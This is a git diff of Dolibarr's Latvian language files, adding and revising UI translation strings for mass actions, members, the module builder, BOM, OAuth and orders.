ekspedīciju LinkToOrder=Saite uz pasūtījumu LinkToInvoice=Saite uz rēķinu LinkToTemplateInvoice=Saite uz veidnes rēķinu @@ -893,6 +898,9 @@ MassFilesArea=Platība failiem, kurus izveido masveida darbības ShowTempMassFilesArea=Show area of files built by mass actions ConfirmMassDeletion=Bulk Delete apstiprinājums ConfirmMassDeletionQuestion=Vai tiešām vēlaties dzēst atlasīto(-s) ierakstu(-s) %s? +ConfirmMassClone=Lielapjoma klona apstiprināšana +ConfirmMassCloneQuestion=Atlasiet projektu, uz kuru vēlaties klonēt +ConfirmMassCloneToOneProject=Klonēt uz projektu %s RelatedObjects=Saistītie objekti ClassifyBilled=Klasificēt apmaksāts ClassifyUnbilled=Klasificēt neapmaksāts @@ -908,8 +916,8 @@ ExportFilteredList=Eksportēt atlasīto sarakstu ExportList=Eksporta saraksts ExportOptions=Eksportēšanas iespējas IncludeDocsAlreadyExported=Iekļaut jau eksportētos dokumentus -ExportOfPiecesAlreadyExportedIsEnable=Eksportēt jau eksportētos gabalus -ExportOfPiecesAlreadyExportedIsDisable=Eksportēto gabalu eksports ir atspējots +ExportOfPiecesAlreadyExportedIsEnable=Jau eksportētie dokumenti ir redzami un tiks eksportēti +ExportOfPiecesAlreadyExportedIsDisable=Jau eksportētie dokumenti ir paslēpti un netiks eksportēti AllExportedMovementsWereRecordedAsExported=Visas eksportētās kustības tika reģistrētas kā eksportētas NotAllExportedMovementsCouldBeRecordedAsExported=Ne visas eksportētās kustības var ierakstīt kā eksportētas Miscellaneous=Dažādi @@ -926,6 +934,7 @@ DirectDownloadInternalLink=Privāta lejupielādes saite PrivateDownloadLinkDesc=Lai skatītu vai lejupielādētu failu, jums ir jāpiesakās un jums ir vajadzīgas atļaujas Download=Lejupielādēt DownloadDocument=Lejupielādēt dokumentu +DownloadSignedDocument=Lejupielādējiet parakstītu dokumentu ActualizeCurrency=Atjaunināt valūtas kursu Fiscalyear=Fiskālais gads ModuleBuilder=Modulis un lietojumprogrammu veidotājs @@ -1051,6 +1060,7 @@ SearchIntoContracts=Līgumi SearchIntoCustomerShipments=Klientu sūtījumi SearchIntoExpenseReports=Izdevumu atskaites SearchIntoLeaves=Atvaļinājumi +SearchIntoKM=Zināšanu bāze SearchIntoTickets=Pieteikumi SearchIntoCustomerPayments=Klientu maksājumi SearchIntoVendorPayments=Pārdevēja maksājumi @@ -1122,6 +1132,7 @@ DeleteFileText=Vai tiešām vēlaties izdzēst šo failu? ShowOtherLanguages=Rādīt citas valodas SwitchInEditModeToAddTranslation=Pārslēdzieties rediģēšanas režīmā, lai šai valodai pievienotu tulkojumus NotUsedForThisCustomer=Nav izmantots šim klientam +NotUsedForThisVendor=Nav izmantots šim pārdevējam AmountMustBePositive=Summai jābūt pozitīvai ByStatus=Pēc statusa InformationMessage=Informācija @@ -1142,15 +1153,29 @@ EventReminder=Atgādinājums par notikumu UpdateForAllLines=Atjauninājums visām līnijām OnHold=On hold Civility=Laipnība -AffectTag=Ietekmēt tagu +AffectTag=Piešķiriet tagu +AffectUser=Piešķirt lietotāju +SetSupervisor=Iestatiet vadītāju CreateExternalUser=Izveidot ārēju lietotāju -ConfirmAffectTag=Masveida tagu ietekme -ConfirmAffectTagQuestion=Vai tiešām vēlaties ietekmēt atlasītā (-o) ieraksta (-u) %s tagus? +ConfirmAffectTag=Lielapjoma tagu piešķiršana +ConfirmAffectUser=Lielapjoma lietotāju piešķiršana +ProjectRole=Katram projektam/iespējai piešķirta loma +TasksRole=Katram uzdevumam piešķirtā loma (ja tiek izmantota) +ConfirmSetSupervisor=Lielapjoma uzrauga komplekts +ConfirmUpdatePrice=Izvēlieties cenas palielināšanas/samazināšanās likmi +ConfirmAffectTagQuestion=Vai tiešām vēlaties piešķirt atzīmes %s atlasītajam(-iem) ierakstam(-iem)? +ConfirmAffectUserQuestion=Vai tiešām vēlaties piešķirt lietotājus %s atlasītajam(-iem) ierakstam(-iem)? +ConfirmSetSupervisorQuestion=Vai tiešām vēlaties iestatīt uzraugu %s atlasītajam(-iem) ierakstam(-iem)? +ConfirmUpdatePriceQuestion=Vai tiešām vēlaties atjaunināt %s atlasītā(-u) ieraksta(-u) cenu? CategTypeNotFound=Ierakstu veidam nav atrasts neviens tagu tips +Rate=Likme +SupervisorNotFound=Pārraugs nav atrasts CopiedToClipboard=Kopēts starpliktuvē InformationOnLinkToContract=Šī summa ir tikai visu līguma rindu kopsumma. Laika jēdziens netiek ņemts vērā. ConfirmCancel=Vai tiešām vēlaties atcelt EmailMsgID=Nosūtīt e-pastu MsgID +EmailDate=E-pasta datums +SetToStatus=Iestatīt statusu %s SetToEnabled=Iestatīt kā iespējotu SetToDisabled=Iestatīts kā atspējots ConfirmMassEnabling=masu, kas ļauj apstiprināt @@ -1179,11 +1204,21 @@ Terminated=Izbeigta AddLineOnPosition=Pievienot rindiņu pozīcijai (beigās, ja tukša) ConfirmAllocateCommercial=Piešķiriet tirdzniecības pārstāvja apstiprinājumu ConfirmAllocateCommercialQuestion=Vai tiešām vēlaties piešķirt %s atlasītos ierakstus? -CommercialsAffected=Ietekmēti tirdzniecības pārstāvji -CommercialAffected=Ietekmēts tirdzniecības pārstāvis +CommercialsAffected=Norīkoti tirdzniecības pārstāvji +CommercialAffected=Norīkots tirdzniecības pārstāvis YourMessage=Tava ziņa YourMessageHasBeenReceived=Jūsu ziņojums ir saņemts. Mēs atbildēsim vai sazināsimies ar jums pēc iespējas ātrāk. UrlToCheck=Pārbaudāmais URL Automation=Automatizācija -CreatedByEmailCollector=Created by Email collector -CreatedByPublicPortal=Created from Public portal +CreatedByEmailCollector=Izveidoja e-pasta kolekcionārs +CreatedByPublicPortal=Izveidots no publiskā portāla +UserAgent=Lietotāja aģents +InternalUser=Iekšējais lietotājs +ExternalUser=Ārējais lietotājs +NoSpecificContactAddress=Nav konkrētas kontaktpersonas vai adreses +NoSpecificContactAddressBis=Šī cilne ir paredzēta konkrētu kontaktpersonu vai adrešu piespiedu noteikšanai pašreizējam objektam. Izmantojiet to tikai tad, ja vēlaties objektam definēt vienu vai vairākas konkrētas kontaktpersonas vai adreses, kad trešās puses informācija nav pietiekama vai nav precīza. +HideOnVCard=Slēpt %s +AddToContacts=Pievienot adresi maniem kontaktiem +LastAccess=Pēdējā piekļuve +UploadAnImageToSeeAPhotoHere=Augšupielādējiet attēlu no cilnes %s, lai skatītu fotoattēlu šeit +LastPasswordChangeDate=Pēdējās paroles maiņas datums diff --git a/htdocs/langs/lv_LV/members.lang b/htdocs/langs/lv_LV/members.lang index a1bb699573b..5c40d7c817f 100644 --- a/htdocs/langs/lv_LV/members.lang +++ b/htdocs/langs/lv_LV/members.lang @@ -15,6 +15,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=Vēl viens dalībnieks (nosaukums:
      ThisIsContentOfYourMembershipWasValidated=Mēs vēlamies jūs informēt, ka jūsu dalība tika apstiprināta ar šādu informāciju:

      -ThisIsContentOfYourSubscriptionWasRecorded=Mēs vēlamies Jūs informēt, ka jaunais abonements tika reģistrēts.

      +ThisIsContentOfYourSubscriptionWasRecorded=Vēlamies jūs informēt, ka jūsu jaunais abonements ir reģistrēts. Lūdzu, skatiet šeit pievienoto rēķinu.

      ThisIsContentOfSubscriptionReminderEmail=Vēlamies informēt, ka jūsu abonements beidzas vai ir beidzies (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). Mēs ceram, ka jūs to atjaunosit.

      ThisIsContentOfYourCard=Tas ir informācijas kopsavilkums, kas mums ir par jums. Lūdzu, sazinieties ar mums, ja kaut kas nav pareizs.

      DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Paziņojuma e-pasta objekts, kas saņemts viesa automātiskās uzrakstīšanas gadījumā @@ -198,9 +206,12 @@ SubscriptionsStatistics=Ieguldījumu statistika NbOfSubscriptions=Iemaksu skaits AmountOfSubscriptions=No iemaksām iekasētā summa TurnoverOrBudget=Apgrozījums (uzņēmumam) vai budžets (par pamatu) -DefaultAmount=Iemaksas noklusējuma summa -CanEditAmount=Visitor can choose/edit amount of its contribution -MEMBER_NEWFORM_PAYONLINE=Pārlēkt uz integrētu tiešsaistes maksājumu lapā +DefaultAmount=Default amount of contribution (used only if no amount is defined at member type level) +MinimumAmount=Minimum amount (used only when contribution amount is free) +CanEditAmount=Abonementa summa ir bezmaksas +CanEditAmountDetail=Apmeklētājs var izvēlēties/rediģēt sava ieguldījuma apjomu neatkarīgi no dalībnieka veida +AmountIsLowerToMinimumNotice=sur un dû total de %s +MEMBER_NEWFORM_PAYONLINE=Pēc tiešsaistes reģistrācijas automātiski ieslēdziet tiešsaistes maksājumu lapu ByProperties=Pēc būtības MembersStatisticsByProperties=Dalībnieku statistika pēc būtības VATToUseForSubscriptions=PVN likme, ko izmantot iemaksām @@ -221,3 +232,4 @@ CreateDolibarrLoginDesc=Izveidojot lietotājvārdu dalībniekiem, viņi var izve CreateDolibarrThirdPartyDesc=Trešā puse ir juridiska persona, kas tiks izmantota rēķinā, ja jūs nolemjat ģenerēt rēķinu par katru ieguldījumu. To varēsit izveidot vēlāk, ieguldījuma ierakstīšanas procesa laikā. MemberFirstname=Dalībnieka vārds MemberLastname=Dalībnieka uzvārds +MemberCodeDesc=Dalībnieka kods, unikāls visiem dalībniekiem diff --git a/htdocs/langs/lv_LV/modulebuilder.lang b/htdocs/langs/lv_LV/modulebuilder.lang index 9a6c77fa63f..da10fcf35ec 100644 --- a/htdocs/langs/lv_LV/modulebuilder.lang +++ b/htdocs/langs/lv_LV/modulebuilder.lang @@ -1,7 +1,8 @@ # Dolibarr language file - Source file is en_US - loan +IdModule= Moduļa ID ModuleBuilderDesc=Šo rīku drīkst izmantot tikai pieredzējuši lietotāji vai izstrādātāji. Tas nodrošina utilītas, lai izveidotu vai rediģētu savu moduli. Dokumentācija alternatīvai manuālai izstrādei ir pieejama šeit . EnterNameOfModuleDesc=Ievadiet izveidojamā moduļa/lietojumprogrammas nosaukumu bez atstarpēm. Izmantojiet lielos burtus, lai atdalītu vārdus (piemēram, MyModule, EcommerceForShop, SyncWithMySystem...) -EnterNameOfObjectDesc=Ievadiet izveidojamā objekta nosaukumu bez atstarpēm. Izmantojiet lielos burtus, lai atdalītu vārdus (piemēram: MyObject, Student, Teacher...). Tiks ģenerēts CRUD klases fails, kā arī API fails, lapas, lai uzskaitītu/pievienotu/rediģētu/dzēstu objektu un SQL faili. +EnterNameOfObjectDesc=Ievadiet izveidojamā objekta nosaukumu bez atstarpēm. Izmantojiet lielos burtus, lai atdalītu vārdus (piemēram: MyObject, Student, Teacher...). Tiks ģenerēts CRUD klases fails, lapas, lai uzskaitītu/pievienotu/rediģētu/dzēstu objektu, un SQL faili. EnterNameOfDictionaryDesc=Ievadiet izveidojamās vārdnīcas nosaukumu bez atstarpēm. Izmantojiet lielos burtus, lai atdalītu vārdus (piemēram, MyDico...). Tiks ģenerēts klases fails, kā arī SQL fails. ModuleBuilderDesc2=Ceļš, kurā tiek ģenerēti / rediģēti moduļi (pirmais ārējo moduļu katalogs, kas definēts %s): %s ModuleBuilderDesc3=Atrastie / rediģējamie moduļi: %s @@ -9,6 +10,7 @@ ModuleBuilderDesc4=Modulis identificēts kā "rediģējams", kad moduļa saknes NewModule=Jauns modulis NewObjectInModulebuilder=Jauns objekts NewDictionary=Jauna vārdnīca +ModuleName=Moduļa nosaukums ModuleKey=Moduļa atslēga ObjectKey=Objekta atslēga DicKey=Vārdnīcas atslēga @@ -48,11 +50,14 @@ PathToModulePackage=Ceļš uz moduļa / pieteikuma pakotnes rāvienu PathToModuleDocumentation=Ceļš uz moduļa / lietojumprogrammas dokumentācijas failu (%s) SpaceOrSpecialCharAreNotAllowed=Spaces vai speciālās rakstzīmes nav atļautas. FileNotYetGenerated=Fails vēl nav izveidots +GenerateCode=Ģenerēt kodu RegenerateClassAndSql=Force .class un .sql failu atjaunināšana RegenerateMissingFiles=Izveidot trūkstošos failus SpecificationFile=Dokumentācijas fails LanguageFile=Valoda ObjectProperties=Objekta rekvizīti +Property=Īpašums +PropertyDesc=Īpašums ir atribūts, kas raksturo objektu. Šim atribūtam ir kods, etiķete un veids ar vairākām opcijām. ConfirmDeleteProperty=Vai tiešām vēlaties dzēst īpašumu %s ? Tas mainīs kodu PHP klasē, un no tabulas definīcijas kolonnas noņems arī objektu. NotNull=Nav NULL NotNullDesc=1=Iestatīt datu bāzi uz NOT NULL, 0=Atļaut nulles vērtības, -1=Atļaut nulles vērtības, piespiežot vērtību uz NULL, ja tā ir tukša ('' vai 0) @@ -81,15 +86,16 @@ IsAMeasure=Vai pasākums DirScanned=Direktorija skenēta NoTrigger=Nav sprūda NoWidget=Nav logrīku -GoToApiExplorer=API pētnieks +ApiExplorer=API pētnieks ListOfMenusEntries=Izvēlnes ierakstu saraksts ListOfDictionariesEntries=Vārdnīcu ierakstu saraksts ListOfPermissionsDefined=Noteikto atļauju saraksts SeeExamples=Skatiet piemērus šeit -EnabledDesc=Nosacījums, lai šis lauks būtu aktīvs (piemēri: 1 vai $ conf-> globāla-> MYMODULE_MYOPTION) -VisibleDesc=Vai lauks ir redzams? (Piemēri: 0 = nekad nav redzams, 1 = redzams sarakstā un izveidojiet / atjauniniet / skatiet veidlapas, 2 = ir redzams tikai sarakstā, 3 = ir redzams tikai izveides / atjaunināšanas / skata formā (nav sarakstā), 4 = ir redzams sarakstā un tikai atjaunināt / skatīt formu (neveidot), 5 = redzama tikai saraksta beigu skata formā (neveidot, ne atjaunināt).

      Negatīvas vērtības līdzekļu izmantošana lauka pēc noklusējuma netiek parādīta, bet to var atlasīt apskatei).

      Tas var būt izteiciens, piemēram:
      preg_match ('/ public /', $ _SERVER ['PHP_SELF'])? 0: 1
      ($ user-> rights-> rights- -DisplayOnPdfDesc=Parādiet šo lauku saderīgos PDF dokumentos, pozīciju var pārvaldīt, izmantojot lauku “Pozīcija”.
      Pašlaik zināmie saderīgie PDF modeļi ir: eratosthene (pasūtījums), espadon (kuģis), sūklis (rēķini), ciāns (propāls / citāts), radzenes (piegādātāja pasūtījums) = displejs
      2 = parādīt tikai tad, ja nav iztukšot

      dokumentu līnijas:
      0 = nav redzama
      1 = parādīti kolonnā
      3 = displeja līnija apraksta slejā pēc apraksta
      4 = displeja apraksta ailē pēc tam, kad apraksts tikai tad, ja tas nav tukšs -DisplayOnPdf=Displejs PDF formātā +EnabledDesc=Nosacījums, lai šis lauks būtu aktīvs.

      Piemēri:
      1
      isModEnabled('MAIN_MODULE_MYMODULE')
      LEStrol'Global')Get +VisibleDesc=Vai lauks ir redzams? (Piemēri: 0 = nekad nav redzams, 1 = redzams sarakstā un izveidot/atjaunināt/skatīt veidlapas, 2 = redzams tikai sarakstā, 3 = redzams tikai izveides/atjaunināšanas/skatīšanas formā (nevis sarakstā), 4 = redzams sarakstā un tikai atjaunināt/skatīt veidlapu (neizveidot), 5=redzama tikai saraksta beigu skata veidlapā (nevis izveidot, nevis atjaunināt)

      Negatīvās vērtības izmantošana nozīmē, ka lauks sarakstā netiek rādīts pēc noklusējuma, bet to var atlasīt apskatei). +ItCanBeAnExpression=Tā var būt izteiksme. Piemērs:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      $user->hasRight('holiday', 'define_holiday')?1:5 +DisplayOnPdfDesc=Parādiet šo lauku saderīgos PDF dokumentos, jūs varat pārvaldīt pozīciju ar lauku "Pozīcija".
      For document :
      0 = not displayed
      1 = display
      2 = display only if not empty

      For document lines :
      0 = not displayed
      1 = displayed in a column
      3 = display in line description kolonna aiz apraksta
      4 = parādīt apraksta slejā tikai pēc apraksta, ja tā nav tukša +DisplayOnPdf=PDF formātā IsAMeasureDesc=Vai lauka vērtību var uzkrāties, lai kopsumma tiktu iekļauta sarakstā? (Piemēri: 1 vai 0) SearchAllDesc=Vai laukums tiek izmantots, lai veiktu meklēšanu no ātrās meklēšanas rīka? (Piemēri: 1 vai 0) SpecDefDesc=Ievadiet šeit visu dokumentāciju, ko vēlaties iesniegt ar savu moduli, kuru vēl nav definējušas citas cilnes. Jūs varat izmantot .md vai labāku, bagātīgo .asciidoc sintaksi. @@ -130,27 +136,32 @@ UseSpecificEditorURL = Izmantojiet konkrētu redaktora URL UseSpecificFamily = Izmantojiet noteiktu ģimeni UseSpecificAuthor = Izmantojiet noteiktu autoru UseSpecificVersion = Izmantojiet konkrētu sākotnējo versiju -IncludeRefGeneration=Objekta atsauce ir jāģenerē automātiski, izmantojot pielāgotus numerācijas noteikumus +IncludeRefGeneration=Šī objekta atsauce ir jāģenerē automātiski, izmantojot pielāgotus numerācijas noteikumus IncludeRefGenerationHelp=Atzīmējiet šo, ja vēlaties iekļaut kodu, lai automātiski pārvaldītu atsauces ģenerēšanu, izmantojot pielāgotus numerācijas noteikumus -IncludeDocGeneration=Es vēlos ģenerēt dažus dokumentus no objekta veidnēm +IncludeDocGeneration=Es vēlos, lai līdzeklis ģenerētu dažus dokumentus (PDF, ODT) no šī objekta veidnēm IncludeDocGenerationHelp=Ja to atzīmēsit, tiks izveidots kāds kods, lai ierakstam pievienotu rūtiņu “Ģenerēt dokumentu”. -ShowOnCombobox=Rādīt vērtību kombinētajā lodziņā +ShowOnCombobox=Rādīt vērtību kombinētajos lodziņos KeyForTooltip=Rīka padoma atslēga CSSClass=CSS rediģēšanas / izveides veidlapai CSSViewClass=CSS lasāmai formai CSSListClass=CSS sarakstam NotEditable=Nav rediģējams ForeignKey=Sveša atslēga -TypeOfFieldsHelp=Lauku tips:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' nozīmē, ka mēs pievienojam pogu + aiz kombinācijas, lai izveidotu ierakstu.
      'filtrs' ir SQL nosacījums, piemēram: 'status=1 AND fk_user=__USER_ID__ UN entītija IN (__SHARED_)'ITIES_SHARED_ENTIES. +ForeignKeyDesc=Ja šī lauka vērtība ir jāgarantē, ka tā pastāv citā tabulā. Ievadiet šeit vērtību, kas atbilst sintakse: tablename.parentfieldtocheck +TypeOfFieldsHelp=Piemērs:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      ' 1' nozīmē, ka mēs pievienojam pogu + aiz kombinācijas, lai izveidotu ierakstu
      'filtrs' ir SQL nosacījums, piemēram: 'status=1 AND fk_user=__USER_ID__ UN entītija IN (__SHARED_ENTITIES__)' +TypeOfFieldsHelpIntro=Šis ir lauka/atribūta veids. AsciiToHtmlConverter=Ascii uz HTML pārveidotāju AsciiToPdfConverter=Ascii uz PDF pārveidotāju TableNotEmptyDropCanceled=Tabula nav tukša. Dzēšana tika atcelta. ModuleBuilderNotAllowed=Moduļu veidotājs ir pieejams, bet nav atļauts jūsu lietotājam. ImportExportProfiles=Importēt un eksportēt profilus -ValidateModBuilderDesc=Iestatiet šo uz 1, ja vēlaties, lai objekta metode $this->validateField() tiktu izsaukta, lai apstiprinātu lauka saturu ievietošanas vai atjaunināšanas laikā. Iestatiet 0, ja nav nepieciešama apstiprināšana. +ValidateModBuilderDesc=Iestatiet to uz 1, ja vēlaties, lai objekta metode $this->validateField() tiktu izsaukta, lai validētu lauka saturu ievietošanas vai atjaunināšanas laikā. Iestatiet 0, ja nav nepieciešama apstiprināšana. WarningDatabaseIsNotUpdated=Brīdinājums: datu bāze netiek atjaunināta automātiski, jums ir jāiznīcina tabulas un jāatspējo un jāiespējo modulis, lai tabulas tiktu izveidotas atkārtoti. LinkToParentMenu=Vecāku izvēlne (fk_xxxxmenu) ListOfTabsEntries=Cilņu ierakstu saraksts TabsDefDesc=Šeit definējiet moduļa nodrošinātās cilnes TabsDefDescTooltip=Jūsu moduļa/lietojumprogrammas nodrošinātās cilnes ir definētas masīvā $this->tabs moduļa deskriptora failā. Varat manuāli rediģēt šo failu vai izmantot iegulto redaktoru. BadValueForType=Nepareiza vērtība tipam %s +DefinePropertiesFromExistingTable=Definējiet rekvizītus no esošas tabulas +DefinePropertiesFromExistingTableDesc=Ja datu bāzē tabula (izveidojamajam objektam) jau pastāv, varat to izmantot, lai definētu objekta rekvizītus. +DefinePropertiesFromExistingTableDesc2=Ja tabula vēl nepastāv, atstājiet tukšu. Kodu ģenerators izmantos dažāda veida laukus, lai izveidotu tabulas piemēru, kuru varēsit rediģēt vēlāk. diff --git a/htdocs/langs/lv_LV/mrp.lang b/htdocs/langs/lv_LV/mrp.lang index d0a3d3af907..664d85fa17d 100644 --- a/htdocs/langs/lv_LV/mrp.lang +++ b/htdocs/langs/lv_LV/mrp.lang @@ -11,8 +11,8 @@ Bom=Materiālu rēķini BillOfMaterials=Materiālu rēķins BillOfMaterialsLines=Materiālu rēķina līnijas BOMsSetup=Moduļa BOM iestatīšana -ListOfBOMs=Materiālu rēķinu saraksts - BOM -ListOfManufacturingOrders=Ražošanas pasūtījumu saraksts +ListOfBOMs=Materiālu pavadzīmes - BOM +ListOfManufacturingOrders=Ražošanas pasūtījumi NewBOM=Jauns materiālu saraksts ProductBOMHelp=Produkts, kuru izveidot (vai izjaukt) ar šo BOM.
      Piezīme: Produkti ar īpašību 'Produkta veids' = 'Izejvielas' šajā sarakstā nav redzami. BOMsNumberingModules=BOM numerācijas veidnes @@ -27,6 +27,7 @@ ConfirmCloneBillOfMaterials=Vai tiešām vēlaties klonēt materiālu rēķinu % ConfirmCloneMo=Vai tiešām vēlaties klonēt ražošanas pasūtījumu %s? ManufacturingEfficiency=Ražošanas efektivitāte ConsumptionEfficiency=Patēriņa efektivitāte +Consumption=Patēriņš ValueOfMeansLoss=Vērtība 0,95 nozīmē vidēji 5%% zaudējumus ražošanas vai demontāžas laikā ValueOfMeansLossForProductProduced=Vērtība 0,95 nozīmē saražotā produkta zaudējumu vidējo vērtību 5%% DeleteBillOfMaterials=Dzēst materiālus @@ -82,6 +83,7 @@ ProductsToProduce=Izgatavojamie produkti UnitCost=Vienības cena TotalCost=Kopējās izmaksas BOMTotalCost=Šīs BOM izgatavošanas izmaksas, pamatojoties uz katra patērētā daudzuma un produkta izmaksām (izmantojiet pašizmaksu, ja tā ir noteikta, cita - vidējā svērtā cena, ja ir noteikta, citur - labākā pirkuma cena). +BOMTotalCostService=Ja ir aktivizēts modulis "Darbstacija" un rindā pēc noklusējuma ir definēta darbstacija, tad aprēķins ir "daudzums (pārrēķināts stundās) x darbstacija h", pretējā gadījumā "daudzums (pārrēķināts stundās) x pakalpojuma pašizmaksa" GoOnTabProductionToProduceFirst=Vispirms jums ir jāsāk ražošana, lai aizvērtu ražošanas pasūtījumu (sk. Cilni '%s'). Bet jūs varat to atcelt. ErrorAVirtualProductCantBeUsedIntoABomOrMo=Komplektu nevar izmantot BOM vai MO Workstation=Darbstacija @@ -100,6 +102,7 @@ NbOperatorsRequired=Nepieciešamo operatoru skaits THMOperatorEstimated=Paredzamais operators THM THMMachineEstimated=Paredzētā mašīna THM WorkstationType=Darbstacijas tips +DefaultWorkstation=Noklusējuma darbstacija Human=Cilvēks Machine=Mašīna HumanMachine=Cilvēks / Mašīna @@ -112,3 +115,7 @@ MOAndLines=Ražošanas pasūtījumi un līnijas MoChildGenerate=Ģenerēt Child Mo ParentMo=MO Vecāks MOChild=MO bērns +BomCantAddChildBom=Nomenklatūra %s jau atrodas kokā, kas ved uz nomenklatūru %s +BOMNetNeeds = BOM neto vajadzības +BOMProductsList=BOM produkti +BOMServicesList=BOM pakalpojumi diff --git a/htdocs/langs/lv_LV/oauth.lang b/htdocs/langs/lv_LV/oauth.lang index 9e5967fbb0f..d5764c3825c 100644 --- a/htdocs/langs/lv_LV/oauth.lang +++ b/htdocs/langs/lv_LV/oauth.lang @@ -9,8 +9,9 @@ HasAccessToken=Tika izveidots marķieris un saglabāts lokālajā datu bāzē NewTokenStored=Token received and saved ToCheckDeleteTokenOnProvider=Click here to check/delete authorization saved by %s OAuth provider TokenDeleted=Tokens dzēsts +GetAccess=Noklikšķiniet šeit, lai iegūtu žetonu RequestAccess=Noklikšķiniet šeit, lai pieprasītu/atjaunotu piekļuvi un saņemtu jaunu pilnvaru -DeleteAccess=Noklikšķiniet šeit, lai izdzēstu marķieri +DeleteAccess=Noklikšķiniet šeit, lai dzēstu marķieri UseTheFollowingUrlAsRedirectURI=Izmantot savu akreditācijas datus ar OAuth pakalpojumu sniedzēju, izmantojiet šādu URL kā novirzīšanas URI: ListOfSupportedOauthProviders=Pievienojiet savus OAuth2 pilnvaras nodrošinātājus. Pēc tam atveriet savu OAuth nodrošinātāja administratora lapu, lai izveidotu/iegūtu OAuth ID un noslēpumu un saglabātu tos šeit. Kad tas ir izdarīts, ieslēdziet otru cilni, lai ģenerētu marķieri. OAuthSetupForLogin=Lapa, kurā pārvaldīt (ģenerēt/dzēst) OAuth pilnvaras @@ -30,7 +31,11 @@ OAUTH_GITHUB_SECRET=OAuth GitHub noslēpums OAUTH_URL_FOR_CREDENTIAL=Dodieties uz šo lapu , lai izveidotu vai iegūtu savu OAuth ID un noslēpumu OAUTH_STRIPE_TEST_NAME=OAuth svītras tests OAUTH_STRIPE_LIVE_NAME=OAuth Stripe Live -OAUTH_ID=OAuth ID +OAUTH_ID=OAuth Client ID OAUTH_SECRET=OAuth noslēpums +OAUTH_TENANT=OAuth tenant OAuthProviderAdded=Pievienots OAuth nodrošinātājs AOAuthEntryForThisProviderAndLabelAlreadyHasAKey=OAuth ieraksts šim nodrošinātājam un iezīmei jau pastāv +URLOfServiceForAuthorization=URL, ko nodrošina OAuth pakalpojums autentifikācijai +Scopes=Atļaujas (tvērumi) +ScopeUndefined=Atļaujas (tvērumi) nav definētas (skatiet iepriekšējo cilni) diff --git a/htdocs/langs/lv_LV/orders.lang b/htdocs/langs/lv_LV/orders.lang index 6f8c400775c..6698b6faed2 100644 --- a/htdocs/langs/lv_LV/orders.lang +++ b/htdocs/langs/lv_LV/orders.lang @@ -96,6 +96,10 @@ OrdersStatisticsSuppliers=Pirkuma pasūtījumu statistika NumberOfOrdersByMonth=Pasūtījumu skaits pa mēnešiem AmountOfOrdersByMonthHT=Pasūtījumu apjoms mēnesī (bez nodokļiem) ListOfOrders=Pasūtījumu saraksts +ListOrderLigne=Pasūtījumu rindas +productobuy=Produkti, kas jāiegādājas tikai +productonly=Tikai produkti +disablelinefree=Nav brīvu rindu CloseOrder=Aizvērt kārtība ConfirmCloseOrder=Vai tiešām vēlaties iestatīt šo pasūtījumu kā piegādātu? Kad pasūtījums ir piegādāts, to var iestatīt kā rēķinu. ConfirmDeleteOrder=Vai tiešām vēlaties dzēst šo pasūtījumu? @@ -131,6 +135,7 @@ SupplierOrderClassifiedBilled=Pirkuma pasūtījums %s, kas ir iekasēts OtherOrders=Citi pasūtījumi SupplierOrderValidatedAndApproved=Piegādātāja pasūtījums ir apstiprināts un apstiprināts: %s SupplierOrderValidated=Piegādātāja pasūtījums ir apstiprināts: %s +OrderShowDetail=Rādīt detalizētu informāciju par pasūtījumu ##### Types de contacts ##### TypeContact_commande_internal_SALESREPFOLL=Pārstāvju pārdošanas pasūtījuma pārstāvis TypeContact_commande_internal_SHIPPING=Pārstāvis turpinot darboties kuģniecības @@ -199,3 +204,5 @@ StatusSupplierOrderApproved=Apstiprināts StatusSupplierOrderRefused=Atteikts StatusSupplierOrderReceivedPartially=Daļēji saņemts StatusSupplierOrderReceivedAll=Visi produkti saņemti +NeedAtLeastOneInvoice = Ir jābūt vismaz vienam rēķinam +LineAlreadyDispatched = Pasūtījuma rinda jau ir saņemta. diff --git a/htdocs/langs/lv_LV/other.lang b/htdocs/langs/lv_LV/other.lang index 3559bd983df..e232ed1b840 100644 --- a/htdocs/langs/lv_LV/other.lang +++ b/htdocs/langs/lv_LV/other.lang @@ -46,7 +46,9 @@ Notify_ORDER_SUPPLIER_APPROVE=Pirkuma pasūtījums apstiprināts Notify_ORDER_SUPPLIER_REFUSE=Pirkuma pasūtījums noraidīts Notify_PROPAL_VALIDATE=Klientu priekšlikums apstiprināts Notify_PROPAL_CLOSE_SIGNED=Klienta piedāvājums ir noslēgts parakstīts +Notify_PROPAL_CLOSE_SIGNED_WEB=Klienta piedāvājums aizvērts, parakstīts portāla lapā Notify_PROPAL_CLOSE_REFUSED=Klienta iesniegtais piedāvājums ir noraidīts +Notify_PROPAL_CLOSE_REFUSED_WEB=Klienta piedāvājums slēgts portāla lapā noraidīts Notify_PROPAL_SENTBYMAIL=Commercial priekšlikums nosūtīts pa pastu Notify_WITHDRAW_TRANSMIT=Pārraides atsaukšana Notify_WITHDRAW_CREDIT=Kredīta izņemšana @@ -181,6 +183,7 @@ SizeUnitfoot=pēda SizeUnitpoint=punkts BugTracker=Kļūdu meklētājs SendNewPasswordDesc=Šī veidlapa ļauj pieprasīt jaunu paroli. Tas tiks nosūtīts uz jūsu e-pasta adresi.
      Mainīšana stāsies spēkā pēc tam, kad noklikšķināsit uz e-pasta ziņojuma apstiprinājuma saites.
      Pārbaudiet savu iesūtni. +EnterNewPasswordHere=Šeit ievadiet savu jauno paroli BackToLoginPage=Atpakaļ uz autorizācijas lapu AuthenticationDoesNotAllowSendNewPassword=Autentifikācijas režīms ir %s.
      Šajā režīmā, Dolibarr nevar zināt, ne nomainīt savu paroli.
